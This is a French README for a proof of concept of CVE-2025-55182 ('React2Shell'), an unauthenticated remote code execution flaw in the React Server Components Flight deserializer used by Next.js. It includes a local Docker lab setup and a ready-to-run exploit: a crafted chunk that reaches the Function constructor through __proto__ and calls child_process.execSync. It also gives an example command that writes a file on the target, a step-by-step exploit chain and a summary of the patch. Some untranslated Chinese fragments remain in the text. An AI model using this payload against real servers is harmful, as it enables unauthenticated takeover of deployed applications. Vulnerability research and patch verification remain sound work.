
Preuve de concept pour CVE-2025-55182 (React2Shell) : RCE non authentifiée dans React Server Components / Next.js via la désérialisation du protocole Flight.
CVE-2025-55182 est l'une des vulnérabilités de frameworks Web les plus impactantes de 2025. Les React Server Components (RSC) constituent désormais l'architecture dominante des applications Next.js modernes ; un grand nombre de projets standards créés avec create-next-app sont concernés, et la vulnérabilité peut être exploitée sans aucun code personnalisé.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2025-55182 |
| Alias | React2Shell |
| Type de vulnérabilité | Exécution de code à distance non authentifiée (Unauthenticated RCE) ; CWE-502 Désérialisation de données non fiables (Deserialization of Untrusted Data) [3] |
| Score CVSS | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Paquets concernés | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Versions concernées | React 19.0.0 à 19.2.0 / Next.js 14.3.0-canary.77 et versions ultérieures, 15.x, 16.x |
| Complexité de l'attaque | Très faible (une seule requête HTTP POST) |
| Authentification requise | Non |
Créez une application Next avec la version vulnérable (16.0.6) :
pnpm create [email protected] next-app --yes
Ajoutez actions.ts dans next-app/app/, en le marquant comme Server Action :
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
Sur la page d'accueil (par exemple app/page.tsx), ajoutez un formulaire dont l'action pointe vers testAction ci-dessus, en incluant au moins un champ (par exemple un hidden input).
Next.js génère pour ce formulaire un hidden input
name="$ACTION_ID_<40 字元 hex>"dans le HTML ; le POC extrait cet ID du HTML de la page d'accueil à l'aide d'une expression régulière.
Le next-app/Dockerfile et le docker-compose.yml du projet permettent de construire et d'exécuter l'application Next ; leur rédaction peut s'inspirer de l'exemple officiel [8].
Exécutez à la racine du projet :
docker compose up --build -d
L'application Next démarrée est alors accessible à l'adresse http://localhost:3000.
Une fois le POC terminé, supprimez complètement l'environnement Docker :
docker compose down -v
Lors de l'exécution du POC, le script récupère la page d'accueil et en extrait l'ID à l'aide de l'expression régulière \$ACTION_ID_([a-f0-9]{40})/. Exemple :
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
Après avoir installé les dépendances à la racine du projet, exécutez :
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Le fragment de code clé est le suivant :
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Voici un exemple d'écriture d'un fichier sur la machine cible :
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec pour vérifier, ou bien utiliser Docker Desktop.La vulnérabilité se situe dans le mécanisme de désérialisation du protocole Flight de React (RSC Flight Deserializer). Ce mécanisme est chargé de transmettre l'état des composants React entre le serveur et le client, mais son flux de traitement présente un grave problème de frontière de confiance (trust boundary).
Le protocole Flight de React est le format de transmission (wire format) conçu par React pour les Server Components et les Server Actions : il sérialise l'arbre de composants, les paramètres de fonctions, etc., en un flux de chunks représenté en JSON, et établit des références entre les chunks via
$數字,$數字:鍵名, ce qui permet au serveur de reconstituer des valeurs JavaScript complètes.
L'attaquant envoie une requête HTTP POST malveillante
↓
[Étape 1] Création d'un objet en auto-référence (Self-referential loop)
↓
[Étape 2] Le moteur JavaScript est amené à appeler une fonction contrôlée par l'attaquant
↓
[Étape 3] Injection de données malveillantes pour déclencher le flux d'initialisation de Flight
↓
[Étape 4] Appel du constructeur Function via le Blob Handler
↓
Exécution de JavaScript arbitraire côté serveur (RCE)
Les Server Functions de React (c'est-à-dire les Server Actions dans Next.js) sérialisent les données que le frontend doit envoyer au backend via le protocole React Flight en chunks successifs, puis les envoient sous forme de données de formulaire (form data).
Les avantages de cette conception sont les suivants :
Les chunks peuvent se référencer mutuellement, par exemple :
["$1"] (référence le chunk 1){"object":"fruit","name":"$2:fruitName"} (référence le champ fruitName du chunk 2){"fruitName":"cherry"}Après interprétation, le serveur obtient : { object: 'fruit', name: 'cherry' }. Autrement dit, le protocole permet d'utiliser $數字:鍵名 pour référencer les propriétés d'autres chunks, puis de les combiner en un objet JavaScript final.
Avant le correctif, l'implémentation, lors de la résolution de ces références, ne vérifiait pas strictement que la clé existe réellement sur l'objet lui-même. Un attaquant pouvait donc lire, via des références, des propriétés situées sur le prototype de l'objet.
On peut par exemple construire le payload suivant :
["$1:__proto__:constructor:constructor"]{"x":1}Lorsque le serveur résout « __proto__ → constructor → constructor » du chunk 1, il obtient le constructeur Function ([Function: Function]), c'est-à-dire le constructeur natif qui permet de créer une fonction à partir d'une chaîne. Autrement dit : via une chaîne de références inappropriée, un attaquant peut obtenir Function côté serveur, puis exécuter des chaînes comme s'il s'agissait de code.
Une fois le formulaire reçu, Next.js reconstitue une valeur à partir des chunks à l'aide de decodeReplyFromBusboy, puis fait un await sur cette valeur.
En JavaScript, un objet disposant d'une méthode .then est considéré comme un thenable ; lors d'un await, ce .then est appelé. Par conséquent, si l'on parvient à faire pointer le .then du « résultat décodé » vers une fonction contrôlée par l'attaquant (par exemple le constructeur Function mentionné plus haut), cette logique est exécutée au moment du await. La prochaine étape de l'attaque est donc de : construire un objet qui, une fois décodé, se comporte comme un thenable, et faire pointer son .then vers le point d'appel souhaité (call gadget).
Référencer le « chunk brut » avec $@0
Dans le protocole, $@數字 signifie « prendre le contenu brut du N-ième chunk, sans le résoudre davantage ». On peut donc définir le chunk 1 comme "$@0", de sorte que le processus de résolution lise la représentation brute du « chunk 0 lui-même ».
Faire pointer le .then du chunk 0 vers le prototype de Chunk
Si le chunk 0 est un objet de la forme {"then": "$1:__proto__:then", ...} et que le chunk 1 est "$@0", la résolution définit le .then du chunk 0 comme Chunk.prototype.then (dans le protocole Flight, un chunk est lui-même un thenable). Ainsi, lorsque Next.js fait un await sur le résultat décodé, il entre dans la logique .then de Chunk.
Déclencher initializeModelChunk
Dans Chunk.prototype.then, si le status de ce « faux chunk » est "resolved_model", on entre dans initializeModelChunk. Celui-ci analyse la value du chunk comme du JSON et effectue une passe de « résurrection » (revive) sur l'objet analysé, en traitant divers préfixes spéciaux (par exemple les références de blob commençant par $B).
Point d'appel : _response._formData.get(_prefix + id)
Lors du traitement du préfixe $B, le programme exécute :
response._formData.get(response._prefix + 某個 id).
Si, dans le faux chunk, on contrôle _formData et _prefix via _response, et que l'on fait pointer _formData.get vers le constructeur Function tout en définissant _prefix comme la chaîne de code à exécuter, la ligne devient :
Function("我們寫的程式碼" + "0")
c'est-à-dire « créer une fonction à partir d'une chaîne ». Cette fonction est renvoyée comme valeur du .then du chunk et est appelée par await dans la même chaîne de promesses, exécutant ainsi notre code sur le serveur.
RCE effective
Remplacez « le code que nous avons écrit » par, par exemple :
process.mainModule.require('child_process').execSync('要執行的系統指令');
et vous obtenez une exécution de code à distance (RCE) sur le serveur.
React a corrigé cette vulnérabilité dans la PR #35277 [9] (commit e2fd5dc [10]), avec deux points clés :
Limiter la résolution des propriétés pour ne pas suivre la chaîne de prototypes
Dans la logique de résolution des références de chunks (comme requireModule), le code vérifie désormais d'abord avec hasOwnProperty que « la clé existe réellement sur l'objet lui-même » ; si ce n'est pas le cas, il renvoie undefined et ne récupère plus depuis __proto__ des propriétés qui ne devraient pas être exposées, comme constructor. Cette modification s'applique à plusieurs modules liés à Flight (tels que ReactFlightClientConfigBundlerNode, ReactFlightClientConfigBundlerWebpack et les configurations Parcel / Turbopack correspondantes), bloquant ainsi la chaîne d'exploitation « obtenir le constructeur Function via des références → construire un thenable → déclencher un get gadget pour exécuter du code arbitraire ».
Gestion des erreurs de decodeReplyFromBusboy
Un try/catch a été ajouté lors de l'analyse des form data (resolveField, resolveFileComplete, etc.) : dès qu'une erreur d'analyse est levée, busboyStream.destroy(error) est appelé, ce qui propage correctement l'erreur et évite que le flux reste dans un état incohérent, réduisant ainsi la surface d'exploitation en cas d'anomalie d'analyse.